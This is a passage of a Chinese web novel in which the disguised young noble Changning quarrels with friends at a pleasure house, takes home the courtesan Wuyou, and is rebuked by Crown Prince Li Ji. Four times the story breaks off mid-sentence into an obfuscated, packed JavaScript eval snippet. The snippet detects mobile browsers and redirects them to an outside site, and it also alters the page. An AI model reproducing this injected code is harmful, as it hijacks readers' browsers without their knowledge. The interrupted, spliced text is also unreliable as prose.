再配着周遭人暧昧的低笑，常宁便有些明了，低头快步走过去。这情爱一事，向来难缠，也容易遭受波及，常宁好险顺顺利利到了云策门前，推门入内。 里面却不只有云策，本来一片火热的讲话声，见常宁来就是一滞。 公孙瑾把玩着酒杯立在窗前，云策和他隔得远远地，江晚照规规矩矩跪坐在蒲团上，低着眼哪里都不敢瞧。 两个姿容秀美的姑娘抚琴起舞，在烛下美得生光。常宁一眼便有些心醉，又见她们咬唇盈盈望向三人，三人却视若无睹，不禁咳了声，“你们仨专注些。” 这么美的姑娘，既不听人弹的琴，也不看人作的舞，多伤人的心？瞧着两个姑娘急得眸中含泪，常宁实在不懂他们三个在想什么。 三人见了常宁，神色间掠过些不自然。待听了常宁这话，更是恍若未闻，连个眼光都不带动的。 常宁少不得哄着些人：“姑娘莫怕，他们几个是木头，哪里晓得姑娘家的柔情？只管安心弹曲跳舞就是，我自会看的。” 云策额头青筋直跳，一个箭步弹到常宁身边，眼见手就要拍在常宁肩上晃醒常宁，堪堪忍住了，见常宁面颊绯红，耳尖也血一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307325|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的红透，吞吞吐吐道，“常宁，你这么害羞做什么？” “有吗？”常宁不在意，目光还盯着人看，待到一个姑娘捧着酒盏来喂酒，常宁也乖乖的，任那姑娘来挽上胳膊、递杯至唇边，只觉得酒都是香甜的，当下从腰带上解下了两枚玉珏，要往二人手里塞。 “砰——” 公孙瑾掷杯，碎瓷遍地，茶汤氤氲在地板上。 姑娘们也不唱曲了，亦不作舞了，瑟缩着往常宁怀里钻。常宁还是清醒的，虽觉香气阵阵、温如软玉，也不敢靠太近，好生安抚了两位姑娘出门。 江晚照捉着衣角，公孙瑾面容晦暗。常宁欲寻盟友，惊觉云策面色也有些难看。 好嘛，终究是成了孤家寡人一个！ 常宁皱眉：“我进来，你们话都不说了，瞒着我就算了。那你们冷落姑娘家，我宽慰一二，怎么就又惹了你们的气？” 公孙瑾嗤笑抬头，不屑地望着屋顶，“这么喜欢喝人家奉的酒，你倒是给我奉一杯看看。” 先前他打常宁板子，常宁清楚他是迫不得已，没生怨怪。如今这话可没人逼他说，常宁也啪地一拍桌子，“有本事你自个去当小倌？你求着给我奉酒，我都不要！” 江晚照亦觉不妥。虽常宁喝花娘的酒，他也觉得怪怪的。可公孙瑾拿常宁比做花娘，着实太过。又见常宁甩了袖子，气极欲走，他便也拔步追过去，却被云策提了领子。 云策挂念常宁，急于结束，“今晚的话，谁都不许捅到常宁面前。” 江晚照巴不得如此，公孙瑾也颔首认同。云策还在想怎么对常宁解释，公孙瑾这厮却一言不发，越过云策和被提着的江晚照，就要追常宁而去。 云策暗道阴险，忙拂衣要赶。 公孙瑾却突兀地定在门前，脚步一动不动，面上罕见地有了一丝怒气。 常宁这一出来，负气要下楼，路过一个包间，里面冷不丁有个公子撞破了门跌出来，常宁便顺手扶了一下。 这公子面容俊秀，似有诗书文气，偏脸上身上都是鞭子抽出来的伤痕，血珠子都冒出来了，奄奄一息，已无力起身，倒在常宁臂弯里，轻得惊人，眼底有破碎的波光，眸子里却盛满孤绝。 常宁这个角度，还能看到他轻颤的眼睫、起伏的胸膛，乃至朱红丹唇。直到他撇过眼闭目，常宁憋着的气才缓缓送出来一口。 秦寿追出来，见了常宁，便是一笑，“哟，常少爷也出来逛花楼、寻小倌？稀见了！” 臂弯里的公子呼吸一滞，浑身僵硬。常宁想开口安慰几句，也被他躲开了，撑着摇摇欲坠的身子站起来。 常宁不是没见过生得好看的，她几个同窗相貌都是一顶一的。但这位沦落风尘的公子，这么倔强这么孤傲，又这么脆弱可欺，常宁都想把他欺负哭，真见他眼睫颤颤、满脸屈辱，却又不忍心了，“他是我的人了，秦寿你哪儿凉快哪儿待着去。” 秦寿面色一寒，“常少爷，截胡可不是这么个截法。” 常宁才不管，叫来老鸨，“我要给他赎身。” 秦寿挑衅一笑。 老鸨为难：“常少爷，无忧是罪臣之后，身契不在我这儿，只是暂留几日，赎不了身。” 常宁丧气了，一对上无忧的目光，又觉得他可怜，遂道：“烦请你透个底，我自有重谢。” 秦寿骂骂咧咧:“你疯了，常宁！” 他也只是折磨这小倌玩玩，常宁看着却像动了真心思，如何叫他不吃惊。 老鸨眉开眼笑：“我这里也没底，但下次贵人若来，我便将常少爷的话转告于他。” 云策可算明白了，指节捏得噼啪作响，“好个常宁，果真色迷心窍、见色忘友！” “闭嘴，”公孙瑾目视常宁，见常宁甚至留了许多金银，要包下无忧，一直盯着无忧的唇看，他也是怒郁攻心，“今晚的话不作数。” 云策睁大眼：“这怎么行？说好了的，不许在常宁面前说其他人坏话。” 江晚照垂首，余光却望着常宁和无忧，无声赞同公孙瑾。 公孙瑾嗓音发冷：“你要不想和常宁在一起，就看常宁被那小倌勾走吧。” 12. 缘何不合 常宁在花楼里一掷千金，自然瞒不过姜夫人。 没几日，不只魏都里传遍了，姜夫人也知晓了，暗地里打探，“这些日子早出晚归，是去哪儿了？” 常宁笑道：“娘，我去红袖招了。” 姜夫人本是又急又气，此刻却被她这直来直去的逗笑了，“咱们家的家规，不能逛花楼，你都记到哪里去了？” 常宁摇头晃脑：“娘，家规是说不能到花楼找花娘，但没说不能找小倌啊！再说了，我一看无忧就是个好人。” 这孩子，许是一时新奇。 姜夫人舍不得教训常宁，沉吟片刻，开口道：“宁宁，即日起，你还上御书房。” 常宁多日不见先生，心早就野了，“娘，先前不是说不让我去了吗？我看在家里请夫子就挺好的。” 再说了，前些日子和公孙瑾闹得不愉快，常宁也不愿意见他。常宁父亲的事，哪怕常宁不去深想，却也知道叔公不是会做出这事的人。父亲母亲偶尔叹气也会被常宁瞧见，她便更不乐意去宫里。 姜夫人道：“你若喜欢他，就把他接出来。在那花楼里待久了，对你对他都不好。” 常宁欢呼一声：“娘，你太好了！” 等找到那位贵人，常宁一定要拿回无忧的身契，把身契还给无忧。 姜夫人笑笑：“无忧这名字，听起来不像本名。” 常宁也苦闷：“我听秦寿叫他卞玉。但无忧不许我这么叫他。娘，你听过卞玉这名字吗？” 姜夫人眸色一凝，笑道：“没有。” …… “常宁。” “常宁！” 常宁捂着耳朵快步跑，“书剑，快给我取饭，咱们找个僻静的地儿吃。” 云策追得太紧，常宁到了分叉口也不敢停，随便挑了条道就急转过去，险些撞上人。 刘总管一手抱着拂尘，一手虚抬，要扶常宁，“哎哟，常伴读，您慢些，谁追着您了？” 这一看，还真有人追着。后头云策追上来，瞧见他，倒也规规矩矩地问了好，紧挨着站在常宁身侧。 常宁压根没倒，稳住身形，“您来有事吗？” 刘总管一笑：“殿下请您到东宫去。” “啊？”常宁惊讶，“我还没吃饭。” 刘总管笑得拂尘都微微晃了下，“正是请您用膳。” “这感情好，”常宁舒心了，转身瞪云策，“你停下，又没叫你，不许跟着。” 云策装聋作哑，始终和常宁保持半臂距离，常宁怎么赶也赶不走。 李稷早就收到了信，没让人拦着云策，设座时示意宫人将两人安排得近了些。 宫人鱼贯而入，捧着朱漆托盘上菜，又侍候人净手漱口，才开始布菜。 常宁不清楚李稷叫她来用膳是做什么，但这色香味俱全的满桌盛宴，早就全方位攻陷了常宁。 御书房也有膳房，但菜色不多，厨师的手艺又比不得家中，吃了许久也腻了。庆和帝后妃多，御膳房往后妃宫殿里下功夫都来不及，哪里有心思管他们这群半大少年。 常宁吃着吃着，颇有些感动。 李稷宫里的宫人也是神人，常宁眼光一扫，就能精准地夹给常宁想吃的菜，一举一动快而轻柔，十分安静。 她面前的那碟秧田鱼，躺在深底双鱼碟里，绿油油的酸菜、金黄冒油星的汤底，缀着红椒青葱八角粒，腾腾热气朝天，模糊了常宁看李稷的视线。 鱼肉雪白，细腻温润，蘸了金汤更是入味。常宁一口菜一口米，中间还加了一次饭。破天荒夹了一筷子最讨厌的酸菜，看着酸菜吸满汤汁，金黄点点滴滴坠落在白米上，常宁不禁悄悄咽了咽口水。 入口更是惊人，又酸又鲜的口感，刺激得常宁眼睛都亮了。这酸不冲，很和缓，却极能开胃，很好地去除了酸菜泡久之后的怪味，同时保留了青菜的脆和炖过之后的软，回味却偏又能在舌尖炸出酥酥麻麻的辣。 大抵好物总是藏不住，宫人布菜时，也常给李稷和云策夹这道菜。李稷想来平日里用多了，只夹了几筷子，云策却几乎与常宁不相上下，眼看里面就只剩下残留的汤汁。 常宁忍了一会儿，实在忍不住了，抬眼用余光看了一圈，见无人关注自己，遂红着脸拿勺子舀了几勺汤，淋在米饭上，搅吧搅吧拌饭吃。 待用过膳，李稷忽得问：“听刘总管说，你与公孙近日闹了矛盾？” 常宁道：“是。” 李稷又问：“缘何不合？” 直至今日，常宁还有些委屈气愤，“我们在花楼里，他让臣给他奉酒。花楼里奉酒的，不是花娘就是小倌，臣的爹娘都不舍得这么说我。臣决定断交。” “该断，”李稷一顿，眸光不由在常宁身上停了一瞬。 常宁红唇张合，目光流转，似有万千言语。只是一个照面，李稷便全然明白了。 “与云策又是如何？” 云策被常宁看了一眼，脊背挺直了些，时刻准备辩驳。 常宁道：“臣和云策，多好的兄弟，十来年的交情，再没有更好的朋友了。公孙将臣比作小倌，云策也不帮着臣，还颇为赞同，岂不是打心底里和公孙更要好，为他连是非都不顾了？” 再没有更好的朋友了。 云策满脑袋都是这句话，追着常宁跑了一上午，连一句话都没说上的懊丧愤懑都没了，大刺刺地笑起来，“我后来去找你，你只顾着和小倌玩，就是不见我。” 常宁哼了一声，“我不见你，你就不来找我了？派人捎句话也行啊。” 云策大为开怀，“我请你吃天香楼，咱俩这交情，别生我气了，成不成？” 常宁比了个数，“两次。” 云策求之不得，刚想说话，被李稷的气势震了一震。 李稷挥手：“让郑御厨来见。” 郑御厨战战兢兢来到殿前，拜倒行礼。 李稷：“今日那道鱼，再做一份，给常宁带走。” 常宁耳朵尖，连忙道：“殿下，我能要两份吗？好好吃！” 给爹娘带一份，再给无忧带一份，完美！ 郑御医在东宫供职多年，从没见李稷将一道菜用尽，原来竟不是李稷用的。但他私下里也找布菜宫人打听过，今日李稷确实多用了几筷子鱼，当下便知是客人食兴大发的缘故。 在这宫里，他烧什么菜都只能换来一句不咸不淡的“尚可”，乍遇常宁这么捧场的食客， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307326|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险些落下老泪来，暗下决心要用足了料，让常宁吃个够。 李稷气势缓了缓，“随你。” 刘总管送常宁和云策出东宫，见常宁一路上都极欢欣，不由失笑。 宫里赐膳，多数人求的都是荣光，是另眼相待。为了一口鲜美欢欣雀跃，想来也只有半大少年才如此了。 便是少年人里，也少有这样的。 折回李稷身边，李稷却并未如往常一般临案阅书，反而依旧坐在四方桌上，一动未动，神态一如往常。 但刘总管毕竟与李稷相伴多年，敏锐地察觉出，李稷此刻多半是有些阴沉。 窗外雀登杏枝头，声声清脆婉转。响彻在刘总管耳中的，却是李稷指骨轻缓叩在案上的声响。 “查，常宁、花楼、小倌。” 刘总管应是，跨出殿门，背后那道视线毛刺刺的，他连抬袖擦虚汗都不敢。 常宁是伴读，不是外朝臣子。即便入朝为官，立于朝堂之上，若私下里去花楼寻欢作乐、狎戏小倌，也自有御史弹劾，如何值得殿下动人来查？少年人心性，兴许只是一时新奇罢了。 许是殿下他体恤伴读，又对常伴读青眼有加，不忍人走了歪路？ 刘总管默默念叨许多遍，警告自己不要胡思乱想。 然而想起李稷又是送樱桃又是看望人，还压了英国公所上自请常宁出御书房的奏疏，破格请人来东宫用午膳……青天白日，暖阳融融，刘总管蓦地打了个激灵。 殿下只是体察人，只是想拉拢年轻学子。 莫想，莫想。 殿下似乎还说……明日要常伴读继续到东宫用膳？ 刘总管狠下心，掐了自己一把。 人老了，眼也昏花了不成？ …… 常宁与云策和好，但却不乐意理会公孙瑾。至于江晚照，一向是寡言少语、不善言辞的，心思又细腻，想了十分，只表现出一分。 今日他期期艾艾地看常宁，常宁听着先生授课，不回头都能感受到他湿漉漉的目光，气早就消了。 待到先生结课，常宁转身对江晚照解释几句，就动作飞快地整理书袋，提起书袋就要往外冲。 云策扯住常宁手腕，紧紧盯着常宁，“你去哪儿？不和我一起回家？” 常宁拨开他：“我去找无忧，往后你自己回去。” 云策神情一言难尽，觑一眼四散归家的学子，压低了声音，“小倌心思不正，万一你被他哄骗了怎么办？无忧那人，我一看就不对劲，眼底里的光，简直和我猎过的虎狼一样瘆人。” 常宁听不得他说无忧坏话，下意识就要反驳回去，被他按着坐了下来。 人走得差不多了，云策耳尖有些红，声若蚊讷，“无忧像是上面那个，你会被他弄疼的。再说了，他说不定和很多人都……咳咳过，你要找也找个一心待你，又不乱来的。最好知根知底，不会被骗。若是武艺高强，那更好了，不仅任你打骂，还能保护你。” “无忧他不一样，”常宁眼睛能喷火了，“不许再说他坏话。你都在想什么？无忧他是那样的人吗？我难道还打骂人？要我说，你那些闲书，该扔的都扔了。你要再编排无忧，可别怪我不理你了。” 13. 无忧 无忧垂眸，抱着琴临窗而坐。 外面传来叩门声，少年人朝气蓬勃：“无忧，我能进来吗？” 此事又怎由他做主。 老鸨还在后面谄笑：“少爷直接进去就是，无忧无有不应的。” 常宁提食盒的手有些酸，换了只手，“无忧若不让我进，我怎么好进去呢？” 但等了许久，里面还是没有动静，静得可怕。常宁有些急了，怕他一个人在屋子里出什么意外，加大力道拍了几下门，没人回应，只好请人帮忙打开。 一进去，就见无忧裹得严严实实，抱琴坐在紧闭的窗下，微垂的目光不知在看什么。 常宁松了口气，推开窗子，昏暗的室内总算亮了些，“无忧，这条鱼特别好吃！” 食盒甫一打开，鲜香扑鼻而来。无忧却只是扫了一眼，而后移开视线。 常宁托着下巴，一眨不眨地看着他，专注到无忧不必看，都知道常宁眼里一定满满都是他。 郑御厨是个细心人，掐着常宁下学的时辰烧菜，如今这条鱼还是热乎的。无忧不动，常宁却感觉到他浑身都紧绷着，觉得他是落不下脸，亲自盛了米饭夹了菜，推到他面前。 常宁一会儿看他挺翘的鼻尖，一会儿看他纤长的羽睫，喟叹天下怎会有如此之人。眼见饭菜要凉，常宁直接端起碗筷，夹一筷子递到他唇边，“凉了就不好吃了，外面那些人又坏，也不知道会不会给你加热，你先吃嘛。” 无忧僵着，微张了唇，含进一口，面色瞬间惨白惨白的，失神地盯着诱人的鱼汤。 他好不对劲。 一条鱼而已，不吃就不吃，她下次再带其他好吃的就是，惹了无忧伤心就不好了。 她要收回手，却感到一股阻力。 无忧张手捏住瓷碗一侧，从常宁手里拿过筷子，木木地往口中扒饭，连八角都送入口中。 他速度越来越快，看也不看一眼，不拘是什么，都夹到碗里又送入口，冷不丁被常宁夺走碗筷，拍在桌上。 无忧一笑：“不是让我吃吗？” 常宁把这些收远了，见他神情隐有失控，心里也不好受，“你要和我回家吗？” 无忧一言不发，只沉默呆坐。 常宁讷讷出去了，老鸨一直留意着这边。 “常少爷，可是无忧不懂事？您担待着些，待明日来，保管叫他万事都依着您。” 常宁回头看了眼房门，示意老鸨噤声。虽不喜老鸨这做派，还是走远了些，待无忧听不到，压低声道：“我要带无忧回家。” 老鸨摇扇腻笑：“这可不成规矩。” 无忧在她这儿，常宁来吃茶点酒，哪样不要钱？为叫他们善待无忧，亦不知使了多少银子。让无忧留在这儿，便是哪日常宁腻了无忧，花楼里这么多花娘小倌，个个都有些本事，费心图谋一二，可不得钓着常宁源源不断地给她送钱。 常宁面色也沉了：“我只给你两条路。头一个，我带无忧走，钱我不会少。你若不依头一条，我便到宫里去，告你私自羁留罪官之后。” 老鸨笑容不减：“哎哟我的少爷，这可使不得。流连花楼终究对名声不好，狎戏小倌更是难听。真到圣前，少爷不怕，我可担心坏了少爷的事。” 她吃定了常宁不敢捅出去，常宁嗤笑，“我怕这个？我哪天来遮遮掩掩过，不信走着瞧。” 半大少年火气最大，老鸨眼珠转转，悄摸摸瞧常宁。 这常少爷，自打见了无忧，每日天不亮就过来喊门。花楼哪儿有白日里开门的？也就常宁日日来，偏又不过夜。原以为重进御书房，多少会收敛些，哪成想依旧是早上过来坐上一两刻钟，着急忙慌地往宫里赶，下了学又是一刻不停地过来。 风风雨雨，阵势浩大。 老鸨一笑：“这要看无忧的愿了。” 常宁心情好上些许：“劳烦你去问问，我就在这儿等。” 不多时，老鸨眉开眼笑地下来了，“常少爷，不是我不放人，是无忧他不愿意走。” 常宁皱眉，绕过她自行上楼，拍了两下门，等了无忧反应的时间，又拍了一次，而后推门进去，“跟我走。” 无忧哂笑：“你钱多得没地花，就非要洒一洒？” 常宁也笑笑，一把拉了人手腕往回带，“快走快走，现在回去，还能和我爹娘一起吃饭。我娘可喜欢你了，老早就说要我带你回去。” 身后老鸨一直叫着无忧。常宁带着人头也不回地走，还不忘侧身叮嘱无忧，“你可不许帮她骗我钱。要是你想用，就拿着我的牌子，到账房去支。” 夜华如水，姜夫人等常宁，着实是等了许久。 往日里常宁都按时归家，今日却晚了些，但也捎了信，姜夫人与英国公倒也不急。 英国公望着天色，几欲起身去接常宁，都被姜夫人压下了。 姜夫人笑他：“孩子都多大了，只怕你还没她跑得快。” 英国公只得坐下，嘟囔道：“孩子再大也是孩子，可不得挂念着。话说，夫人，宁宁带了什么给你，怎不给我？” 姜夫人眉眼温和：“一条鱼。你整日里钓鱼，想是见多了，我却是不常见。” 英国公懊丧：“此鱼非彼鱼呐！” 说话间，常宁便回来了，远远地喊着爹娘，又热情地介绍无忧，“无忧，你叫伯父伯母就好。” 姜夫人和英国公也细细地打量无忧，相视一笑，“看起来是个爱念书的好孩子。回头让你伯父再给你寻些先生，读书习武。” 常宁自然高兴，拽着无忧落座用膳。 无忧在座上，安静夹菜。 姜夫人与英国公的目光，正大光明，坦坦荡荡。他给自己假想的敌意，也都只化作了用饭的沉默。 方才撤下饭菜，英国公便叫住无忧，考校无忧学问。 他问什么，无忧都能答一些，中规中矩不出差错。英国公却知，一个问题中规中矩正常，可他问的这些，有难有易，都答得中规中规，可就不正常了，“打小便学的？” 无忧道：“算是。” 常宁早就困了，嚷嚷着要回去休息。姜夫人打发常宁走，眸光瞥向无忧，“你先回去，无忧今夜就留在你爹这儿。” 常宁点头笑：“娘，你和我爹别累着，早点睡。” 姜夫人赶常宁走。这哪里是不让她和丈夫累着，分明是不想无忧累着。 常宁踩着月色回自己院子，刚一踏进门槛，一颗石子啪嗒滚落在地，不偏不倚，恰巧是常宁落脚的位置，害得常宁险些跌倒。 常宁回头，夜黑风高树枝摇晃，没个人影。 再踏一步，又是一颗石子飞来，正正好落在鞋底。 “谁要害我！” 张侍玉斜倚在屋脊上，背对常宁，一手撑头，一手捻起石子，闭眼吹风，捻起一颗颗石子，姿态悠闲地后掷过去。 不必睁眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307327|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他便知常宁已然不复手忙脚乱，只需听着石子的破空声就能避开，此刻正抓了墙头要上来。 常宁瞧见他身边的石子，好大一堆，也不知什么时候弄上去的，“为什么偷袭我？” 张侍玉嗅到纷杂的脂粉气，重得呛人，绝不止是某一人的气息。但其间的沉香味、青柠味、皂角味，显然更为突出。 他张唇，意味不明地笑：“一个月。” 常宁不解：“什么一个月？” 张侍玉笑笑，提起竹枝，足尖轻点，飘然而去。 坐在屋脊上，常宁往下望了望，见他打下的石子排成一尾咬钩的鱼儿，鱼线蔓延到常宁翻墙的位置。 搁这儿钓呆头鱼呢。 常宁冲他背影喊道：“侍玉，我爹每天都钓鱼，想钓鱼就去找我爹，是高手！” 张侍玉背影有一瞬的停顿，复又腾跃而起，不回一字。 …… 翌日，常宁进宫时，照常到东宫用午膳。 书剑被常宁放了假，今日跟着常宁的，是个胖乎乎的圆脸中年人，定定站在那儿，一个人顶得上常宁两个了。头一次进宫，眼睛低垂，双手交叠在腹前，紧张地站着。 刘总管不由多看了一眼。 这是来做书童的，还是来帮他家少爷干架的？ 今日饭菜依旧可口美味，常宁可舒服了。 倒是郑御医，也立在旁边，眼巴巴地看着，琢磨主子们都爱吃什么菜。常宁吃得香喷喷，郑御医看常宁的眼睛也愈发亮，升腾起一股骄傲。 李稷情绪淡淡，一如往常。兴许是郑御医没在殿下身边多待过的缘故，乍一到了殿下这儿，便觉出凌厉的气势。 宫人收拾碗碟残羹，依次退下。常宁叫住欲走的郑御医，“郑大人，您还缺徒弟不？” 常宁身旁的圆脸中年人憨厚一笑。 刘总管明了，这是饭菜好吃到带着厨子来宫里拜师学艺了。 郑御医心绪激动。顶着压力来东宫找他学艺，实在是对他手艺的莫高认可。何况因昨日那道鱼做得好，得了主子们的喜爱，如今他在东宫膳房里，地位也水涨船高。虽是他的看家本领之一，可一道鱼，对上间接使他升职的常宁，显然微不足道。 常宁还想跟去看看，但李稷忽然离席，她只得跟上。 等李稷进了内殿，常宁就不好再进了，却听李稷冷声让她进去。 小太监们安安静静的，站在内殿各个角落，几乎要与背景融为一体，静得落针可闻。 李稷握着茶盏，却不用茶，屈指摩挲着杯沿，也不看常宁。 乌云聚拢，风吹着落花滚了满地，一声春雷骤然炸起。 窗子是开着的，正对着常宁。纵是雨未至，可风灌进来，也吹得常宁发冷。 气氛煎熬，常宁问道：“殿下，您近来有烦心事吗？” 李稷不语，点漆双眸转向常宁，犀利目光让常宁升起不好的预感。 “与臣有关吗？” 常宁桃花眼扑闪，专注地回忆着这些日子的事，搜罗着可有惹李稷生气的地方。 李稷牵唇一笑，“怎会。孤听闻，有罪臣之子流落风月宝地，未赶得上发配边疆，引得人一掷千金、数日流连。阴阳调和之道，古来有之，今者因袭。只不知，男子与男子之间，可还能得了趣儿？” 常宁瞳孔放大，险些伸长脖子凑近去听。 坏了，这铁定是冲着她来的！ 14. 搞清楚 常宁眼睫扑闪：“可是殿下，朋友之间，只是话上几句就够有趣了，不需要多做。” 李稷将一本话本丢在常宁面前，“看看，这又作何解释。” 常宁接过来，还没看那令人耳热的书名，下意识问道：“先看哪一页？” 落在李稷耳中，不啻于“先看哪个人”。 且观常宁脸不红心不跳，又得是多习惯，才能如此？ 常宁问完，便觉不妥。 殿下正怀疑她搞断袖，她再这么一说，不是越描越黑嘛。 “殿下……”常宁小走两步，欲要上前。 “打住，”李稷示意身侧的内侍拦下常宁，与常宁隔得远远的。 常宁一哽。 完了，被当成变态死断袖了。 英名不保！ 近旁有个小蒲团，常宁啪叽一下，落魄地跪坐在上面，就差指天发誓，“天地良心，臣连无忧的手都没摸过。” 李稷暴喝：“混账！” 常宁一个瑟缩，闭嘴不敢说话了。 李稷攥着杯子的手都有些抖，恨不得一杯砸过去，给常宁清醒清醒。 这有贼心没贼胆的模样，魂牵梦绕、憧憬无限，怕不是被小倌哄得家都找不着。 “亏得孤以为，你是个拎得清的，”李稷声线轻缓，直视常宁，“弄清楚，谁才是你的擎天一柱。” 什么擎天柱？ 常宁额上沁出细密的汗珠。 一柱擎天，平定乾坤架海梁。顶天而立地，万物始生焉。 这是说，他好，她才能好？她和李稷走得近，她荒唐，坏了李稷的事？ 常宁没怎么搞懂，但李稷生气，她也难得肃颜：“殿下，臣知的。臣往后必定事事以殿下为先，力求不减损殿下美名一分一毫。” 不想了，先保证了再说，说错自会挨骂！ 李稷神色和缓了些：“明白就好。” 歪打正着了，常宁就不怕了，蹭得起来，溜到李稷身旁，“殿下真是英明神武，臣这榆木脑袋，经殿下一点拨，那是前所未有的清明！” 李稷不语。 常宁给他添了些茶，捧过去，“殿下用茶。” 李稷手里的茶早就凉了，遂放下接过来，吹了吹茶雾，“明日随孤去皇觉寺。” 他抬眸看常宁，“若要求什么，就尽早求了去，也好早些送人。” 刘总管依旧笑眯眯，抱着拂尘静立在旁。 若非殿下记性好，他都险些忘了，昔日殿下被毒箭创伤时，常伴读寻了云伴读讨治病的良药，就在皇觉寺中。后来常伴读倒霉，挨了顿板子，转眼一月光景已过，他家殿下的伤也快好全了。 不早些送，可不就是来不及。 常宁也高兴。 治好了张侍玉的伤，张侍玉就能继续飞檐走壁、恣意江湖。 还能给她舞剑！ 常宁私心里认为，殿下人还是很好的，连教训她都得屏退了人，到人少的内殿来，重话也没说多少，还体贴地要带她去皇觉寺。 单看常宁没心没肺的背影，李稷不由一怔。 此次带常宁去往皇觉寺，虽说有他的考量，但也确实存了让常宁远着小倌，趁着性子未歪时，掰一掰的打算。 …… 今日中午，因知晓要到李稷那里用膳，常宁就没挎书袋。 早在内殿时，外面便乌云密布。刘总管让人准备了油纸伞，给常宁带着，以防路上落雨。 可刚迈出几步，这雨就下了，简直是暴雨如瀑。 常宁举着伞，地上迅速积聚的雨水还是洇湿了她鲜亮的衣摆，染出起伏的暗影。 远处有一队龙禁尉，斜背着长刀长剑，步伐整齐划一，行走在大雨里也不打伞，纯黑衣裳都被雨水打得紧贴着肌理。 常宁侧身回避，看到走在前面的公孙瑾，只垂眸作不知，让了他们过去，就要赶回御书房。 方才走出几步，就听背后有踏雨的脚步声。常宁回头看了一眼，见是公孙瑾，便一掸衣袖，视若无睹地走了。 公孙瑾追得紧。 下着雨，他湿透了，常宁可不想弄湿衣服，遂站住，“慢点走，水会溅起来的。” 来都来了，常宁把伞举高了点，让他也躲进来，“我去御书房，你顺路吗？不顺的话，我只能送你到前面，你找公公们借把伞。” 大伞太重，刘总管给常宁准备的，是一把轻便的小伞，仅够一人使用。多一个人，便总能淋到些雨丝。 雨打在常宁肩头，濡湿一片，常宁不舒服地转头去看。 公孙瑾右臂从常宁腰后绕过，往他那边带了带。 怪怪的。 常宁不想和他靠这么近。自从大些后，她娘都不带和她靠这么近的。 何况公孙瑾衣衫早就湿透了，往下淌着水，挨在常宁腰上，比淋雨还让人难受。 伞再小也是伞，总不至于把常宁腰上的衣服弄湿啊！ 常宁把他手拨开，拿着伞错开几步，“不给你打伞了，你自己走。” 公孙瑾眸光幽幽，看得常宁发毛，隔着雨幕瞪他一眼，转身朝着御书房快步走去。 背后那道脚步声如影随形，常宁烦得要命，“你别跟着我，我已经和你断交了。” 公孙瑾：“所谓断交，一斩两断，纵然是绳子，也体会得到纤维断裂。你一人认定了断交，我却不知，如何就作数？” 常宁心道这人还怪较真得嘞，口中回了：“那我现在告诉你好了。我常宁，要和你公孙瑾断交，往后见面一如素未谋面之人，前尘尽忘。余下时日，不过点头之交。” 少年朱衣金冠，眉目明秀。春雨连绵，乌云万里，阴湿的雨气寸寸爬上青翠修竹，素日里映入眼帘的诸般色彩，浸水过后都染上一层黯淡，常宁站在油纸伞下，鲜活如初。 只是从那唇中说出的话，没一句是公孙瑾爱听的。 他这么一顿的功夫，常宁就回身继续往前了，衣摆甩起星星点点的雨滴。 湿都湿了，又岂会在意是湿了一片衣角，还是打湿了全部？ 当然有区别了。 至少在常宁看来，区别犹如天上地下。 衣角微湿，她忍忍就下学回家了。若是全身都被淋湿了，她上哪儿哭去。严先生那个老古板，必定要摇头晃脑来一句“忍经挫折，读得圣贤书”，没让她穿着湿衣裳上课就算好了，大概率是要打发常宁去偏殿换衣服的。 常宁换得吗？那自然换不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307328|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在公孙瑾那厮夺了常宁的伞，倾盆大雨哗哗地浇在常宁身上，常宁瞬间浑身淌水，浓密的发都在几息之间湿透。 常宁心里拔凉拔凉的，刀人的心都有了，“公孙瑾！” 公孙瑾不以为意：“男子汉大丈夫，还怕湿衣？” 伞都顺着风雨滚走了，一路落进了池塘里。 常宁却拔步狂奔起来，在这大雨里，连眼睛都睁不开，跑得如此快，险些撞上了树。 